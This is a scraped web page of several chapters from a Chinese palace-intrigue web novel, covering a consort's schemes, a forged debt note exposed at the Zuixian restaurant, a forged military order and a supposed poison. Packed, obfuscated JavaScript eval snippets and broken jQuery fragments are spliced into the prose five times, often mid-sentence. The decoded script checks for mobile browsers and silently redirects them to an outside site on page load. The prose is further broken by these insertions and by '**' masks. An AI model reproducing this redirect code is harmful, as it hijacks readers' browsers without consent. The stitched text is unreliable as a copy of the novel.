RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777439|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承乾宫西暖阁。 淑妃捏着翡翠护甲将密报撕成碎片,纸屑簌簌落在鎏金香炉旁。 珍珠跪在碎瓷片上递上新情报:皇上每日辰时三刻去观鱼亭。 五千两就买这点东西?她踢翻妆台上的胭脂盒,碎瓷片溅到珍珠裙摆。 次日正午,淑妃带着八名宫女守在御花园东角门,鹅黄裙裾扫过沾露的牡丹花枝。 远处传来仪仗声,她立即扶住花枝歪头作赏花状。 銮驾行至月洞门时,大太监突然转身:皇上有急事回勤政殿!淑妃攥紧绣帕看着龙纹车帘调头,裙角勾住荆棘扯开道口子。 废物!她将牡丹簪子掰成两段,碎屑撒在珍珠颤抖的肩头。 当晚承乾宫传来惨叫,珍珠被拖出时掌心鲜血淋漓。 第二日淑妃再次守在御花园,却见仪仗队中途折返。 小太监战战兢兢:皇上要去醉仙楼查案。她摔碎翡翠镯子,踩着玉片走向勤政殿,裙角沾着牡丹花粉。 戌时三刻,淑妃跪在养心殿外金砖上。 小太监小心翼翼地凑近,低声说道:“娘娘,皇上让您回去。” 淑妃原本紧咬着下唇,听到这话,双眼瞬间瞪大,眼中怒火仿佛要喷涌而出。 “他说让本宫回去?” 她猛地转身,一脚狠狠踢向身旁的宫灯。宫灯摇晃着,发出“哐当”声响,灯罩险些脱落。 就在淑妃愤怒难平之时,她的心腹宫女珍珠匆匆跑来,在她耳边低语几句。 淑妃的脸色瞬间变得更加阴沉,眼中的怒火燃烧得愈发猛烈。 原来,珍珠刚刚从内务府的一个熟人那里得知,皇上听闻醉仙楼有新的菜式推出,且醉仙楼最近还查获了一些与朝中官员有关的线索,皇上对此十分关注,于是微服去了醉仙楼。 淑妃虽未确定皇上就是为了姜绾歌,但她笃定,姜绾歌必然在背后参与其中。 “姜绾歌!”淑妃咬牙切齿地念出这个名字,“本宫不会放过你。每次都是因为你,皇上才对本宫如此冷落!” 第50章 找茬 承乾宫烛火摇曳,淑妃捏碎翡翠镯子,碎片扎进掌心也不觉得疼。珍珠跪地擦拭血迹,被她一脚踢翻铜盆:去吏部后巷茶寮。 可是娘娘,现在戌时三刻... 找穿灰鼠皮袍的茶客。淑妃将金凤钗抵住珍珠咽喉,说"西府海棠该修枝了",把醉仙楼的流水账送来。 三日后深夜,淑妃在暗室翻动账本。珍珠举着琉璃灯,灯光映出她肩头未愈的伤痕。淑妃突然冷笑,指尖划过刑部侍郎堂弟的名字:上个月在赌坊输光家产,还被打断三根肋骨? 她将账本扔进炭盆,火星溅在珍珠裙角,去刑部大牢找李典狱,就说...她忽然凑近宫女耳畔,说本宫要侍郎堂弟的赌债借据,要带血手印的那种。 珍珠退出时撞到端燕窝粥的小太监,淑妃望着案头鹅黄裙衫冷笑,将刑部密报塞进暗袋——那里还藏着柳侧妃表哥的赌坊欠据。 第二日,天色未明,淑妃便迫不及待地起身。她屏退众人,亲自从衣柜深处翻找出一套寻常百姓家女子的素色衣衫,快速换上。对着铜镜,她用炭笔稍稍改变了眉形,又戴上一顶破旧的斗笠,将面容隐在阴影之中。 一切准备妥当,淑妃趁着宫人们尚未完全苏醒,悄无声息地从侧门溜出了皇宫。她脚步匆匆,雇了一辆马车,直奔醉仙楼附近。 到达后,淑妃并未直接靠近醉仙楼,而是在对面一家不起眼的茶肆选了个临窗的位置坐下。她点了壶茶,眼睛却始终紧紧盯着醉仙楼的大门,眼神中透着急切与期待。 没过多久,侍郎堂弟带着几个泼皮气势汹汹地闯进了醉仙楼。淑妃心中一喜,脸上露出一丝得意的笑容,喃喃自语道:“姜绾歌,看你这次怎么办。” 与此同时,醉仙楼内热闹非凡,食客们或是高谈阔论,或是大快朵颐。楼内弥漫着酒菜的香气,伴随着嘈杂的谈笑声,交织成一片喧嚣。 突然,“砰”的一声巨响,醉仙楼的大门被猛地撞开,侍郎堂弟带着几个凶神恶煞的泼皮闯了进来。他故意扯着破锣般的嗓子大喊:“姜绾歌,你个恶毒女人,今日我定要讨个公道!”店内食客们被这突如其来的变故惊得纷纷转头,原本热闹的氛围瞬间凝固,所有人都投来好奇又震惊的目光。 姜绾歌正在楼上与一位常客交谈,听到楼下动静,微微皱眉,随后从容不迫地起身,整理了一下衣衫,迈着沉稳的步伐缓缓走下楼梯。她神色镇定,目光平静地看向侍郎堂弟,不紧不慢地说:“这位公子,凡事都要讲证据。我与你往日无冤近日无仇,为何突然这般诬陷我?” 侍郎堂弟脸上闪过一丝得意,他高高扬起手中皱巴巴的借据,大声叫嚷道:“这便是证据!上面可有我的血手印,白纸黑字写得清清楚楚,你还想抵赖不成?上个月在这醉仙楼,你因几句口角,便找人打断我三根肋骨,还逼我写下这赌债借据。” 姜绾歌微微挑眉,瞥了一眼那所谓的借据,嘴角浮起一抹冷笑:“哼,这借据破绽百出。你瞧瞧这纸张,崭新得很,丝毫没有历经一个月的陈旧感;再看这墨色,分明还透着几分湿润,哪像是上个月写下的?再者,我醉仙楼一向本本分分做生意,向来与赌坊没有任何瓜葛,又如何能逼你写下赌债借据?你莫要在这里血口喷人。” 侍郎堂弟脸色一变,眼中凶光毕露,不但没有被姜绾歌的话震慑住,反而将借据狠狠甩在桌上,怒目圆睁地吼道:“你少拿这些歪理来糊弄人!这借据是真是假,你我心里都清楚!大家看看,她这是心虚了,想混淆视听!上个月我被她找人打成那样,到现在肋骨还疼呢!”说着,他故意装作痛苦地捂住胸口,龇牙咧嘴起来。 他身旁那几个泼皮也跟着起哄:“对!就是她心虚,大家可别被她骗了!这女人一看就不简单,说不定背后有什么见不得人的勾当!” 侍郎堂弟继续恶狠狠地盯着姜绾歌,眼神中满是挑衅,丝毫没有退缩之意:“今天你要是不拿出个说法,这事就没完!别以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777440|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你能仗着醉仙楼就为所欲为,我们可不是好惹的!” 尽管周围食客们开始交头接耳,投来怀疑的目光,他却视若无睹,依旧一副嚣张跋扈的模样。 姜绾歌神色未动,目光冷冷地扫过侍郎堂弟与那几个泼皮,缓缓开口:“这位公子如此笃定,那不妨说说,上个月具体是哪一日,在醉仙楼的哪个角落,我们发生了所谓的‘口角’?醉仙楼每日人来人往,诸多食客都是见证,我不信没人记得那日的情形。” 侍郎堂弟心头一慌,眼神下意识地闪烁了一下,但旋即强装镇定,梗着脖子说道:“上个月十五,就在这大堂西北角!你少在这装蒜,别以为能问住我!” 姜绾歌冷笑一声,目光清冷地在侍郎堂弟与那几个泼皮身上一一扫过,缓缓开口:“这位公子如此信誓旦旦,可我上个月根本还未接手醉仙楼,又怎会与你在这发生口角,还找人打断你肋骨?你这谎撒得未免也太离谱了些。” 侍郎堂弟听闻此言,脸色瞬间一白,但仍强撑着狡辩:“你少在这狡辩!就算你上个月没接手,也定是你指使原先的掌柜干的!” 姜绾歌冷笑出声:“哦?照你这么说,凡事都能空口白牙随意诬陷了?你说我指使,可有证据?醉仙楼换主一事,人尽皆知,原先的掌柜如今远在千里之外的老家安享晚年,你倒是说说,我如何指使?” 侍郎堂弟被问得哑口无言,额头上豆大的汗珠滚落,却还在垂死挣扎:“反正就是你干的!你别想撇清关系!” 姜绾歌转头看向周围的食客,提高音量说道:“各位街坊邻里,我姜绾歌这个月才接手醉仙楼,一心只想把生意做好,从未想过招惹是非。可这人却无端上门**,编造如此荒谬的谎言。大家说说,这公道何在?” 食客们纷纷交头接耳,对侍郎堂弟指指点点,言语间满是不满。 “这一看就是故意来找茬的。” “可不是嘛,没凭没据就乱咬人。” 第51章 大理寺来人了 姜绾歌盯着伪造的借据,指尖突然按响柜台铜铃:各位街坊做个见证。清脆铃声惊飞檐下麻雀。 醉仙楼每月十五给常客送桂花酿。她展开账本,这位公子说上月十五**,可那天张员外包了这桌。手指划过泛黄纸页,张员外的马车印还在后巷青石板上呢。 侍郎堂弟脸色发白。姜绾歌抓起鎏金算盘:你月俸四十两,借据却写三千两。按醉仙楼酒菜算,要吃二十年才欠这么多。算珠噼啪作响。 她抽出银簪划向血手印,朱砂立刻泛青:这是鸭血混朱砂,人血应该是琥珀色。银簪在阳光下折射冷光,要我割腕验吗? 侍郎堂弟踉跄后退,撞翻桌椅。姜绾歌抖出半块双鱼玉佩:你推搡时掉的。内侧刻着李记赌坊,刑部李典狱是你表哥吧? 全场哗然。姜绾歌将玉佩掷碎在地:赌坊勾结官吏陷害良民!突然抽出软剑抵住他咽喉,剑锋划出细血痕:说!谁给你的借据? 侍郎堂弟浑身发抖:是...是宫里的人!姜绾歌冷笑收剑,从袖中抖出带血的借据:这张借据会送到刑部。剑锋突然刺进他右肩,鲜血染红李典狱三字,去告诉背后的人—— 她一脚踢翻盛满热水的木桶,沸腾的水流漫过侍郎堂弟的裤脚。醉仙楼的地板会记得今天。姜绾歌用剑尖挑起他下巴,下次要诬陷,先打听清楚新掌柜的来历。 姜绾歌一脚踢翻木桶,滚烫的热水漫过侍郎堂弟的裤脚。他杀猪般惨叫着打滚,却见大理寺的捕快已破门而入。为首的陈推官按住腰间横刀,目光扫过狼藉的大堂:本官接到举报,有人在此行凶? 姜绾歌将带血的借据拍在柜台上:大人请看,此人伪造赌债借据,还勾结刑部李典狱陷害良民。她展开账本,上个月醉仙楼还在老掌柜手中,根本不可能发生斗殴。 陈推官接过玉佩,内侧李记赌坊四字在阳光下泛着冷光。他突然抽出腰间令牌砸在桌上:李典狱今早被发现昏迷在狱中,太医正在抢救!令牌边缘的缺口,与玉佩断口严丝合缝。 姜绾歌指尖划过借据上的朱砂批注:大人请看,这批注的朱砂里混着鹤顶红。她将银簪插入朱砂,簪尖立刻变黑,李典狱中的毒,怕是与这借据有关。 陈推官脸色铁青,突然指向侍郎堂弟:把他押回大理寺!捕快们刚要动手,姜绾歌却按住他肩头:且慢。她从柜台取出半块鎏金腰牌,方才他说幕后主使是宫里的人,这腰牌是从他袖中滑落的。 腰牌上的龙纹暗刻让陈推官倒吸冷气。姜绾歌压低声音:醉仙楼后巷的马车印,与承乾宫的辎车轴距吻合。她将验钞银簪塞进制服暗袋,大人若想彻查,不妨查查三日前的御膳房采买记录。 陈推官猛地转身,袍角扫落桌上的伪造借据。姜绾歌看着他离去的背影,从柜台暗格取出沾血的鹤顶红药瓶——这是方才踢翻木桶时,从侍郎堂弟衣襟滑落的。 姜绾歌将药瓶扔进炭盆,看着火焰瞬间变成诡异的蓝紫色,她这一番话,表面上是对着侍郎堂弟的几个泼皮手下说的,实际意在警告躲在背后操纵一切的淑妃。 她斜睨着那几个被吓得脸色惨白的泼皮,语气冰冷如霜:“去告诉宫里那位,今日之事,我姜绾歌记得清清楚楚。醉仙楼的地板沾染了这腌臜事儿,可大理寺的卷宗,更是容不得半点污蔑。” 姜绾歌知道,这些泼皮不过是被人利用的棋子,而他们背后的主谋,必然能收到这个消息。她故意说得这般决绝,就是要让幕后之人明白,自己不会善罢甘休,也不是任人拿捏的软柿子。 在对面茶肆靠窗的雅座,淑妃戴着帷帽,死死盯着醉仙楼,身旁的小宫女小翠大气都不敢出。 见侍郎堂弟被姜绾歌怼得哑口无言,淑妃眉头一皱,“啧”了一声:“瞧他那窝囊样,平日里的机灵劲都哪去了?”小翠缩了缩脖子,小声劝道:“娘娘,要不咱先撤,别在这暴露了。”淑妃瞪她一眼:“慌什么!我倒要看看这女人还能耍出什么花样。” 这时大理寺官员赶到,宣布要将众人带走。淑妃气得“嚯”地站起身,一脚踢翻脚边的凳子,“哗啦”一声,隔壁桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777441|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食客都投来好奇目光。小翠吓得脸色惨白,忙拉住淑妃衣角:“娘娘,快走!” 淑妃狠狠甩开小翠的手,怒目圆睁,抓起桌上茶杯狠狠砸在地上,碎片四溅。 她压低声音,咬牙切齿地骂道:“一群废物!连这点事都办不好,真没用!” 小翠急得快哭了:“娘娘,再不走就来不及了!” 淑妃胸脯剧烈起伏,狠狠瞪着醉仙楼的方向,深吸一口气,却仍难掩眼中熊熊怒火。 她一甩衣袖,重新坐下,死死盯着那边,从牙缝里挤出话:“小翠,去给本宫打听打听,江湖上那些手段狠辣的**,哪个最合适。本宫定要让这姜绾歌为今日之事付出惨痛代价!” 小翠被淑妃身上散发的狠厉吓得一哆嗦,忙不迭点头,声音发颤:“是,娘娘,奴婢这就去。” 说罢,不敢再多停留一秒,匆匆转身,几乎是小跑着离开了茶肆。 天黑透了,醉仙楼里姜绾歌正就着灯算账呢,就听窗边“簌簌”一阵轻响。 她一扭头,就瞧见顾铭轩跟个大黑影子似的,从窗户那闪了进来。 顾铭轩神色凝重,快步上前,“绾绾,今儿醉仙楼闹出这么大动静,我放心不下,来看看你。没受伤吧?” 姜绾歌把笔一放,站起身来,白了他一眼,“我要有事儿,还能在这儿好好跟你说话?就几个小混混**,我能搞掂。你大晚上专门跑过来,怕不只是问问我有没有受伤这么简单吧?” 顾铭轩眉头皱起来,在屋里走了两步,“那侍郎堂弟敢这么明目张胆地闹,背后肯定有人撑腰。这事儿要是不查清楚,以后麻烦事儿多着呢。” 说完,他顺手拿起桌上的茶杯,却没喝,就在手里转着。 姜绾歌冷笑一声,“我又不傻,能不知道这事儿?今天在醉仙楼,我可没让他们占到便宜。” 说着,她走到柜子边,翻出个卷轴,递给顾铭轩,“给,你一直想要的那个兵力图,我给弄来了。你可别忘了,你还欠我一个条件呢。” 第53章 屋里藏了别人? 顾铭轩将姜绾歌抵在竹枝交错的阴影里,指尖正沿着她耳垂缓缓游走,忽有破空声从西北方传来。 他骤然旋身,一枚青铜蝉形暗器稳稳落入掌心——这是暗卫统领的传讯暗号。 姜绾歌顺着他视线望去,只见竹叶间隙闪过一袭黑衣残影。 她忽然踮脚凑近他耳畔,指尖卷着他发尾轻笑:皇上的暗卫当真是如影随形,连调情都要插上一脚。 顾铭轩反手扣住她腰肢往怀里一带,低头时鼻尖几乎蹭到她唇瓣:他们该庆幸此刻没撞破龙颜。 他说话时指腹轻轻摩挲她后颈,那里还留着方才他落下的齿痕。 远处传来更密集的竹叶簌簌声,显然是暗卫在催促。 姜绾歌突然咬住他衣领往下扯,露出锁骨处尚未消退的吻痕:要不...让他们再等等? 她指尖在他喉结上画圈,感受到那里急促的跳动。 顾铭轩猛地攥住她手腕按在竹枝上,气息微喘:姜绾歌,你这是在玩火。 他忽然低头咬住她唇珠,舌尖扫过贝齿时含混道。 话音未落,三枚银镖破空而来钉在他身侧竹节上。 姜绾歌趁机推开他,笑着整理被扯乱的衣襟:皇上还是先去处理公务吧。 姜绾歌望着顾铭轩远去的方向,好一会儿才缓过神,抬步往自己院子走去。 刚到院门口,丫鬟青柠便匆匆迎上来,神色有些紧张:“王妃,王爷在您房里呢。” 姜绾歌微微蹙眉,轻叹了口气,还是迈进屋内。只见顾清舟负手站在窗前,背影透着几分冷峻。 姜绾歌径直走到桌前坐下,给自己倒了杯茶,不咸不淡地开口:“王爷怎么不去找别的妾室?没有了柳姨娘,还有其他几位姨娘也都盼着王爷宠幸呢,怎么有空来我这儿?” 顾清舟转过身,面色一沉,眼神中闪过不悦:“怎么,本王来自己王妃房里,还得被你这般质问?莫不是你这屋里藏了什么见不得人的人,所以不想本王来?” 姜绾歌冷笑一声,挑眉看着他:“王爷可真会开玩笑,我这屋里能藏什么人?不过王爷向来对我这院子不闻不问,今日突然到访,实在让我有些受宠若惊。王爷若是没什么要紧事,还请回吧,我想歇着了。” 顾清舟眉头紧皱,几步走到她面前,语气不善道:“姜绾歌,你这是和本王说话的态度?别以为本王平时没有管教你,你就可以无法无天。” 姜绾歌毫不示弱地站起身,直视着他的眼睛:“管教?王爷可曾尽到过丈夫的责任?成婚至今,王爷对我不是冷落就是无视,现在倒想起来管教我了?” 顾清舟被她怼得一滞,脸上闪过一丝不自然,强辩道:“本王是王府之主,后院诸事繁忙,哪有那么多精力顾及你。你身为王妃,本该体谅本王,而不是整日冷言冷语。” 姜绾歌气得笑出声来:“体谅?王爷让我体谅您左拥右抱,对我不管不顾?王爷既然如此忙碌,又何必来我这寻不痛快,不如去别的姨娘那里,想必她定会好生伺候王爷。” 顾清舟脸色涨得通红,伸手指着她,气呼呼地说:“姜绾歌,你简直不可理喻!本王今日真是不该来。” 姜绾歌坐回椅子,端起茶杯轻抿一口,慢悠悠地说:“王爷既然认识到了,那便请回吧,下次也不必再来了。” 顾清舟怒目圆睁,瞪了她片刻,最后只能狠狠一甩袖,转身大步离去。 姜绾歌望着顾清舟离去的背影,久久未动。待那脚步声彻底消失在夜色中,她才缓缓转身,目光落在桌上的一盏残茶上,思绪飘远。 想起之前与顾清舟打赌,凭借自己的聪明从他手中赢来那块玉佩。 那玉佩质地温润,触手生温,据说可是顾家祖传,象征着在西北一带的某些隐秘权力与影响力。 她从袖间小心地取出玉佩,放在掌心凝视,玉佩在月光下泛着柔和的光。随后,她又从自己秘密的空间里拿出那份复制版的兵力图。 姜绾歌将兵力图缓缓展开在桌上,手指轻轻滑过图上那些密密麻麻标注的线条与文字,那是西北军队的驻防、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777443|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵力分布等关键信息。 她指尖轻轻划过羊皮地图上蜿蜒的墨线,最后停在甘州大营四个小字上。那里墨迹未干,在烛光下泛着幽暗的光。 陈泽...她低喃着这个名字,唇角勾起一抹若有似无的冷笑。窗外忽然卷进一阵冷风,烛火剧烈晃动,在她脸上投下斑驳的光影。 青柠端着笔墨轻手轻脚地进来,看见自家主子正对着烛火出神。 姜绾歌忽然抬手,指尖在砚台上轻轻一敲:磨墨。 不多时,青柠带回笔墨纸砚。 姜绾歌蘸饱墨汁,模仿顾清舟的笔迹,在纸上写下密令:“陈将军,近日局势有变,朝廷将对西北用兵,为避锋芒,你需暗中将甘州大营三分之一兵力,于下月十五前夕,调至玉门关以西三十里处埋伏。切勿声张,一切行动听从此玉佩为信,违令者斩。” 落款处,她盖上了一枚事先伪造好的顾清舟的私印。 写完密令,姜绾歌将纸张小心吹干,而后卷成细筒,藏入一个精巧的竹筒之中。 她把玉佩也一同放入竹筒,用蜡封好筒口,确保万无一失。 接着,姜绾歌从空间里取出一只信鸽。这信鸽是她精心饲养,训练有素。 她将竹筒小心地绑在信鸽腿上,轻轻抚摸着信鸽的羽毛,低声说道:“去吧,务必将这信送到陈泽手中。” 信鸽扑腾着翅膀,消失在茫茫夜色之中。 弄完这些,姜绾歌坐回桌子跟前,又看了看兵力图。她知道,这才刚开始呢。 陈泽收到信肯定得照做,顾清舟知道了,不得气疯了,肯定得严查。 到时候,她就趁着这乱劲儿,再想办法让顾清舟他们内部闹得更厉害,给自己多捞点好处,也得把以前受的那些气都还回去。 御书房里,烛火在轻轻跳动,将顾铭轩的影子投在墙上,拉得老长。 他揉了揉发酸的眼睛,朱笔在奏折上匆匆划过,留下一道道鲜红的批注。 烛光下,那些密密麻麻的标记像是活了过来。 第54章 夜明珠 最后一本折子合上时,顾明轩长舒一口气,肩膀微微松了下来。 手指按着太阳穴转了转,他忽然起身,脚步沉沉地走向书架。 暗格咔嗒一声轻响,他取出那张被反复折叠过的兵力图。图纸在龙案上缓缓展开,发出细微的沙沙声。 顾铭轩的指尖悬在图纸上方,随着防线一点点移动。 西北的地形在他眼前展开,每一处关隘、每一支驻军都看得分明。 他的眉头越皱越紧,指节不自觉地敲打着桌面。 原来藏在这里...他忽然低语,手指停在图纸边缘一处不起眼的标记上。 那里墨迹很淡,却勾勒出一个完美的伏击点。他的眼神陡然锐利起来,像是发现了猎物的鹰。 门外传来细碎的脚步声。老太监佝偻着腰进来,正要行礼,却被顾铭轩招手唤到跟前。 皇帝凑近他耳边,声音压得极低:去查查黑水关的守将...话音未落,老太监已经会意地点头退下。 烛芯噼啪爆了个灯花。顾铭轩仍死死盯着那张图,手指在那处关隘上来回摩挲,像是要透过纸张摸到西北的风沙。他的嘴角慢慢绷紧,眼中闪过一丝冷光。 顾清舟...他念着这个名字,声音轻得几乎听不见,窗外忽然刮过一阵夜风,吹得烛火剧烈摇晃,将他的侧脸映得忽明忽暗。 顾铭轩指尖轻轻敲击着龙案,忽然停下动作,朝殿外唤道:**。 声音刚落,殿门便被轻轻推开,一个头发花白的老太监弓着腰快步进来,拂尘搭在臂弯里,低声道:老奴在,陛下有何吩咐? 顾铭轩目光仍落在案上的奏折上,语气淡淡:岭南进贡的那颗夜明珠,还在库里? **微微一愣,随即答道:回陛下,尚在珍宝阁收着,未曾动过。 取出来。顾铭轩终于抬眸,眼底映着烛火,显得格外深邃,送去醉仙楼。 **眼皮一跳,小心问道:陛下是要赐给醉仙楼的东家? 顾铭轩唇角微不可察地扬了扬:给姜大夫。 **一时没反应过来:姜大夫? 嗯。顾铭轩指尖轻轻摩挲着茶杯边缘,语气随意,却又带着不容置疑,就说……给她当药铺的镇店之宝。 **心里一咯噔,暗道这礼送得未免太贵重了些,可面上不敢显露半分迟疑,只恭敬应道:老奴这就去办。 他刚要退下,顾铭轩忽然又开口:等等。 **立刻站住:陛下还有何吩咐? 顾铭轩沉吟片刻,淡淡道:别说是朕赏的。 **眼珠一转,试探道:那……老奴该怎么说? 顾铭轩低笑一声:就说……他顿了顿,眼底闪过一丝玩味,是位故人送的。 **心里明镜似的,立刻低头应道:老奴明白。 待**退下后,顾铭轩重新执起朱笔,却迟迟未落。烛火摇曳,映得他眸色深深,半晌,他低喃道:姜绾歌……这颗珠子,你可要收好了。 顾铭轩凝视着烛火,指尖无意识地摩挲着案上的密信。忽然,窗外传来一阵急促的脚步声,接着是侍卫压低声音的通传:陛下,西北急报。 进来。他神色一凛,迅速将密信收入袖中。 御前侍卫统领赵沉快步走入,单膝跪地:禀陛下,甘州大营昨夜突发兵变,陈泽将军率三千精骑离营,去向不明。 顾铭轩猛地站起身,案上的茶盏被衣袖带倒,茶水在奏折上洇开一片暗色。他盯着赵沉:何时的事? 就在三个时辰前。赵沉额头渗出细汗,靖王府的探子来报,说陈泽手持靖王玉佩,声称奉密令调兵。 密令?顾铭轩冷笑一声,转身从暗格中取出那份兵力图,在案上重重摊开。 此事蹊跷。顾铭轩抬手打断赵沉,目光却不由自主飘向醉仙楼的方向。 他指尖轻叩窗棂,沉吟片刻道:传令影卫继续盯着甘州大营,但不得惊动任何人。 赵沉忍不住道:陛下,陈泽持靖王信物调兵,此事... 朕自有分寸。顾铭轩声音陡然转冷,眼神锐利如刀,倒是你,何时学会质疑朕的决定了?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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姜绾歌缓缓转身,看到锦盒中那颗鹅卵大小的夜明珠,在昏暗的药房里泛着幽幽青光。 她唇角微扬:他越来越口是心非了。 醉仙楼后院的账房里,姜绾歌指尖拨弄着算盘珠子,发出清脆的声响。 夜明珠被随意搁在案头,映得她眉目如画。 第55章 醉仙楼找茬 小姐,这是新拟的药铺单子。青柠递上一张清单,按您说的,分了三等。 姜绾歌接过扫了一眼,指尖在某处轻轻一点:这"玉容散"的价再抬三成。 三成?青柠瞪大眼睛,那可比长公主用的雪莲膏还贵了。 就是要贵。姜绾歌轻笑,从袖中取出一个青玉小盒,这里头装的,才是真正的宝贝。 盒盖掀开,一股清冽幽香瞬间盈满室内。膏体莹润如脂,在夜明珠的光晕下泛着珍珠般的光泽。 青柠看得呆住:这是...... 用千年雪莲蕊配南海鲛珠粉,再加了一味西域秘药。姜绾歌合上盖子,莫说皱纹,就是刀疤也能消个七八分。 她起身理了理衣袖:备车,去长公主府。 长公主府花厅。 你这丫头,总算想起本宫了。长公主倚在软榻上,染着蔻丹的手指轻点姜绾歌的额头,上次的雪莲膏确实不错,不过... 姜绾歌敏锐地察觉到长公主话中有话:殿下可是有什么烦心事? 长公主示意左右退下,压低声音道:本宫要的不是这些美容养颜的小玩意。她指了指自己依旧光洁的脸庞,这些对本宫来说,不过是锦上添花。 姜绾歌会意,轻声道:殿下想要的是... 太子最近在拉拢太医院。长公主眼中闪过一丝锐利,本宫需要能在关键时刻...起作用的东西。 花厅内顿时安静下来,只有香炉中升起的青烟袅袅盘旋。 姜绾歌垂眸沉思片刻,忽然从怀中取出一个鎏金小瓶:此物无色无味,入水即化。服下后三个时辰内脉象如常,连太医也诊不出异样。 长公主眼中精光一闪:多久见效? 十二个时辰。姜绾歌将瓶子推过去,不过... 不过什么? 此药配制极难,需用西域"睡美人"的花蕊,一年只得三份。姜绾歌抬眸,若殿下应允在药铺开张时助我造势,往后每年我都留一份给您。 长公主把玩着小瓶,忽然笑道:本宫不仅要帮你造势,还要入股三成。见姜绾歌面露难色,她又道:自然,本宫会派两个太医坐堂,再让宗室女眷都来捧场。 姜绾歌故作犹豫,实则心中暗喜。有了长公主这层关系,药铺就能名正言顺地接触各路权贵... 成交。她终于点头,不过殿下要保证,每月至少带三位一品夫人来诊脉。 长公主抚掌大笑:好个精明的丫头!她亲手斟了杯茶推过来,三日后开张,本宫要让全京城都知道,你这"杏林春"是达官显贵才配去的地方。 离开公主府时,姜绾歌回头望了眼朱红大门。鎏金小瓶里装的不过是安神香料,但长公主的承诺,却是实打实的金字招牌。 小姐,咱们真要分她三成利?马车上,青柠小声问道。 姜绾歌轻笑:傻丫头,等药铺成了皇亲国戚的**地,三成利又算得了什么? 车帘外,秋风卷起一片金黄的银杏叶,正好落在她掌心。 姜绾歌从长公主府回到醉仙楼,正与青柠商讨着药铺开张的良辰吉日。 这时,青柠不经意间往楼下一望,脸色微变:“小姐,醉仙楼门口停了辆马车,下来的是婶娘和姜莲。瞧她们这架势,肯定不安好心。” 姜绾歌眉头微皱,稍作思索后冷静说道:“先静观其变,看看她们到底想干什么。” 楼下,林凤娇和姜莲从马车上下来。林凤娇身着一件半旧不新的绸缎衣裳,虽刻意打扮,却仍难掩小家子气。 姜莲则穿着粉色襦裙,脸上脂粉扑得厚重,眼神中透着几分算计。 两人一踏进醉仙楼,便开始四处打量,眼神中满是贪婪与好奇。 小二见她们这模样,不像是单纯来吃饭的,可又摸不透她们的意图,但还是热情地迎了上去:“两位夫人,里边请,请问是用餐还是有别的吩咐?” 林凤娇鼻子里轻轻哼了一声,并未理会小二,径直往大堂里走,嘴里还嘟囔着:“这破酒楼有什么了不起,也不知道那小贱蹄子有什么本事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777445|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能在这儿落脚。” 姜莲则跟在后面,附和道:“娘,也不知她给王爷灌了什么**汤,如今居然能在这城里这般风光。” 小二听着她们的话,心中不悦,但还是保持着职业性的微笑,耐心问道:“两位夫人,若是不打算用餐,能否告知有何事,也好让小的帮忙。” 林凤娇鼻子里轻轻哼了一声,随意找了个位置坐下,从牙缝里挤出几个字。 “点菜。听闻这醉仙楼名气大得很,今日就来尝尝,到底是真有本事,还是徒有虚名。”说着,便随手点了几道店里的招牌菜。 姜莲在一旁坐下,翘起兰花指,扇着手中的绢扇,附和道:“娘,我看呐,不过是仗着会巴结人罢了,能做出什么好菜来。” 不多时,菜一道道地上来了。色泽诱人,香气扑鼻,一看便是精心烹制。 